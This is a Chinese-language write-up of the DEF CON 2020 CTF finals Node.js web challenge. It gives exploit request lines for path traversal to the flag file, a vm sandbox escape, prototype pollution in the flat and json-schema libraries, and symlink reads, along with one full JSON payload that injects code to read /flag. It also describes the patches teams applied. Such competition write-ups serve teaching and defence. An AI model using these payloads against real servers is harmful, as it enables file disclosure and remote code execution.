defcon CTF Final Web WriteUp
划水Web选手第一次打defcon,有幸能和A*0*E
的大佬们一起见证历史,膜!!
比赛分四场,第四场的0点时候才放web题
源码:https://github.com/o-o-overflow/dc2020f-nooode-public
一道nodeJS审计,任意文件包含,需要结合一堆依赖库找利用:
比赛刚开始的时候可以通过非预期等等姿势来直接包含flag
1 | POST /config/validated/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag HTTP/1.1 |
或者编码一下/
1 | POST /config/validated/%2fflag/test HTTP/1.1 |
后来大家修复很多都直接粗暴的把require
、readFileSync
的参数都给成常量,然后就没洞打了。
大概到了两点的样子,重置了patch,不能用原来直接写死require
的方式patch了,白名单patch会被check,最后根据已知poc一个个加的黑名单patch
打node内置库vm沙箱逃逸的payload,在devdocs.io可以找到其他内置库
1 | POST /config/validated/vm/runInThisContext HTTP/1.1 |
预期解有一个应该是用flat的一个原型链污染:https://github.com/hughsk/flat/issues/105
1 | POST /config/validated/flat/unflatten HTTP/1.1 |
flat是一个js的对象解析库,提供了像下图这样解析对象的功能,当传入__proto__.path
这样的参数时,即会被污染原型。
源码分析:
通过.
分割参数,将__proto__
当成key传入即可污染原型
另外这里还有一个特性即js里可以传入部分参数来进行函数调用,不同于java的多态:
修复:
作者在修复中判断了key1
不能为__proto__
:
还有一个flag会被截断的链
1 | POST /config/validated/jsonlint/main HTTP/1.1 |
大概5点的样子流量监控到td的大佬软连接读到我们的flag了
1 | POST /config/validated/fstream/Writer HTTP/1.1 |
这里还可以通过软连接源码去读别人patch绕过。
json-schema的gadget:
1 | POST /config/validated HTTP/1.1 |
调用validate:
传入可控的instance
参数,schema
为instance.$schema
传入:
这里主要看164行checkObj
的调用,注意第二个参数schema.properties
,即为我们post的json数据:
checkObj函数的代码如下,将propDef赋值为objTypeDef.__proto__
,即schema.properties.__proto__
,然后作为参数再次调用checkProp(value, schema, path, i)
,而value变成了instance[i]
即instance的原型instance.__proto__
:
然后又到了从checkProp()
执行到了checkObj()
函数:再一次获取第二个参数schema.properties
最后将propDef["default"]
也就是/flag
,传递给了value,也就是instance的原型,即成功污染:
其他几个链:
1 | {"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}} |
https://twitter.com/CVEnew/status/1283502926011543555
修复代码
1 | if(JSON.stringify(req.body).includes('__')) throw new Error('fuck') |
因为~
的原因且出题人没给lock文件导致:服务器可以看到warn漏洞:
而本地啥也没有
几个关键的时间节点:(来自Cody大佬的复盘
v1.5.2